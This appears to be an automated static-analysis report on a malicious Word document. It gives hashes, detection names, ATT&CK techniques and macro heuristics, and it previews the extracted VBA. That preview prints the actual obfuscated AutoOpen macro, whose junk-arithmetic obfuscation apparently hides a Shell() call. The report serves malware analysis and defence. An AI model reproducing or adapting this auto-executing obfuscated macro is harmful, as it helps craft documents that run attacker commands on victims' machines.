Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ac1a13005ec554e9…

MALICIOUS

Office (OLE)

129.4 KB Created: 2018-09-28 21:57:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: a046e142d5c92d50a90d7aa1ccd55265 SHA-1: 9bbc01e39156ebc81bde926018fa562face98c30 SHA-256: ac1a13005ec554e9e82418c3cca72b254efdf4672be38b76b98c6021e7784f8e
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The AutoOpen macro is present and uses the Shell() function, indicating an attempt to execute arbitrary commands. This is a common technique for downloading and executing further malicious content. The macro code is heavily obfuscated, preventing a more detailed analysis of its specific actions.

Heuristics 7

  • ClamAV: Doc.Malware.00536d-6700785-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6700785-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 72271 bytes
SHA-256: b369c193f02ab8ca76be0995344139cd2289448e3de757a441b3bd796fedc128
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "AqpwqqwfKziLIf"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim jKfvZ(1)
jKfvZ(0) = InStrRev(YJsIKD + NFkPFkaPXjfjXPpHFHP + PEWunpYG, tBuWW + kPYpdBiVtVwsuozBOZma + zZcddtS) + InStrRev(WznFlRUQ + DKnwvHFWTnzpZMZAszC + qwHjNktI, wSMdhWY + GFYKOsHEPawAnnFzIkZidL + RjrdUcEQ)
   Dim nsrGj(1)
nsrGj(0) = InStrRev(uhviYXjW + NjavzlpUDlFUvXJHiCEblj + PtLHHRN, TWoHtQL + oNzHiaPXMJEpDiwJvi + EmZQV) + InStr(lthivQh + bhstBhiLSDKUCAHuVFTF + aQXKQFW, hOmuFWH + CwaRrBvJmmJIHaRHTvN + mUkqFCY)
   Dim KGjvmF(2)
KGjvmF(0) = InStrRev(sjVYZBq + MdTPzkpzUvCzZclSZuX + qXWilV, LwNuSi + HGmlujbkwwPYsivYZNuD + ZqAuq) + InStrRev(XwSnlcdG + tmYvwTSYWFoIMDItuhtrw + ZqDnSRz, QFNcW + MksjnFdzINhMAEVtbVqD + oLmCPrWL) + InStrRev(HFHoTGa + EPHAVJHdHzVjwuzajQqV + nUwhZU, tjbhL + GktDMLAOpZJAEtHhhKM + nETmW) + InStrRev(ifCcjz + HMUhrAKuzVhaijNtQHsoiwYq + cOQbTZUq, DcJVnAk + vpiWGjPYpkhzUkE + EOWOa)
KGjvmF(1) = InStr(zWAdMhmh + rKanJwBvtvMADwzhSUwTM + YLXlWzpa, fUvSVSLt + VzhhwmAavqNEQYpWvXZJBz + OzBlZ) + InStrRev(Xbdqmkwz + DRQfujvhzNwnjhmsYKRuG + LhqmwXZM, wYURGDC + bozICBMcnlXJUNqkBpXa + mKRaSGOY) + InStrRev(INZokj + YMKplXwsSUuENQrvjJ + wmVoGo, RZZBVowY + auwEcMvQXtojnsoPiqDK + UiLtU) + InStrRev(ACimau + tIYiGqmJjcuIXjdBHikE + aojFG, sGpiif + isCNsZKPLCztCaJajnJhDS + BWFsE)
   Dim dqhrDf(2)
dqhrDf(0) = InStrRev(RtDQY + jiBFjmUwuhWITzjSY + MZuQnsn, mMVqb + knJfjwWIiHaGjzERcKQ + XzsvKma) + InStrRev(wwfPErQ + HEkNtSjYlJNoTohEawVIZz + ZCsNBZY, rJGZOPOo + JcrhvIbomwKfHsfYIn + tpwdi)
dqhrDf(1) = InStrRev(GTAhzKi + EpwjVwjtuHXjQQRzrzihPF + KioVYXi, pjpvJF + FLWDkFEkdzaHiioKfYizB + mMbCirVz) + InStrRev(KZackcnu + LGCAamvdWMUHmRiuIEJYj + whvwvETC, Kacvwrl + pSnJtKFZpChSWiqPbHAEBn + GwLMYlBo) + InStrRev(XClpE + jwrDzjJWMamWMTzA + dwRiChp, lDHsSoo + tcCBYzOWBpRqkFBaVvY + saXiVTh) + InStr(qHlabXq + KoqLvzbInORNVJwDRsC + lAvuJd, mHNFnjf + NGtJOmBBSZmRUYauD + jKdiGHil)
   Dim qKGZn(2)
qKGZn(0) = InStr(LucbjpQ + ZKGhRTqbMbpWHFHoCsT + EFpvqN, QuwZp + WTUzaOnpWBchbhpkcLdvvN + YbJjka) + InStrRev(jYVwHR + ZoktjFroEBotkpwONc + CZJwRk, LvaWHdr + WSsfYTYLlIICCaiXalnGCc + TBRGwSZr) + InStrRev(ldGlmSzd + sznkvFDiLqDEJhiKpd + llENpw, YIhAU + LbNVIwHvfjdkVTjiCwrJQ + ERuAZk) + InStrRev(SicHDRdE + IVklFiDmLjUSwuqmuFvhl + BXdQZti, jcTMQ + wkQwQrIXmROdziUcjrVm + rojSbiV)
qKGZn(1) = InStrRev(zwUEUVfV + cTzuvdkoROcwaMZpwIvR + riiAGA, zMStulp + hflUwtsiUfwdjBUwFrhR + wNtjw) + InStrRev(FVNmr + kmFbfqfVRYOhqlvtUzjwO + frISPclK, lFlBUc + HisJTZNzatEnqKnNNCwd + SKucszW) + InStrRev(HzDWYi + iLRJiuLBjPUZKFVhTwEaWG + ujoPiIL, FSoPia + HdwwuiYSmtakuDRUBRk + tnPOMA) + InStrRev(CHPcUm + zrMVRrhLaDRGBBiDGSaL + YXdfb, QVBaYq + FEAmzPAGtKlfZfuTtTD + jiBkzaza)
   Dim AOaZU(2)
AOaZU(0) = InStrRev(WXmQI + pcviWCCYMFSRivkwisRz + kkwjtX, iuXfTDkR + NTCRiVsqKGdYdqEmWipid + iAbjORu) + InStrRev(lXSGanD + iAVtoOSicMYlurrOzwo + rEhTLMia, vnOkLN + nSONzzoMvoqRtQYjzGStlZ + qfGjBlA)
AOaZU(1) = InStrRev(jiFifz + mHDCWpijQpUYdnzjcPnF + zoXiwSHp, RNaUpYFU + jsFqXhTAXzKWBLzizi + iVUwcq) + InStrRev(SlFLH + HnlnpjzaQwoNHdBabUC + dwNjQ, ORiqvMuq + FujiBqCObJhILEKsVSzsQ + iRrJiK) + InStr(PIjZbGKA + phJTlfjwNMGviHkpF + qMwwoHim, zmbBNP + izMiiITizwZNqrzWpiY + CuIPo) + InStrRev(rFVatm + nqUdlnlBYkKQlGzAcoAq + jGUpVTD, jwNvPY + GqDjAzOkvljpnzEjQRfEjf + sXKhc)
EDapiXjpRIifk (KeyString(DSMJZo + wjoYZm + 6 + 10 + 51 + iFzbKoPq + wKpHOY) + YJuRsSKZ + wOvzhSXS + KeyString(DODVdCq + pVPYfNz + 7 + 11 + 59 + MjRkXS + bBcXjv) + oQLsQzbKWQ + HkrXXqiJ + ABGfqnZp + zcBfHGFB + vivwYC)
   Dim oBUuj(1)
oBUuj(0) = InStrRev(XShJHK + juazwkOWsfVjBkGFZVnqf + irYUcrc, jbYofa + CBifWhaaFodtDubVzFPosC + fKfZz) + InStr(oipvHJwu + oDXjhwTDhomMpjvPIfon + QlZwMw, CDwMUwN + vIEBRRVdCiAQXQQ + bqidLKlf)
   Dim AWbmWD(1)
AWbmWD(0) = InStrRev(WNJNJYou + rYYJLjOjROtwjKiRNG + SksrKJW, wMLmT + zFHTmdOBrZOJGtzGYSm + NbNum) + InStrRev(PTTUIwd + HiqTjIjYFRpNSiCGLO + EHJvqHi, JPRowD + voijfCAaKZwX
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.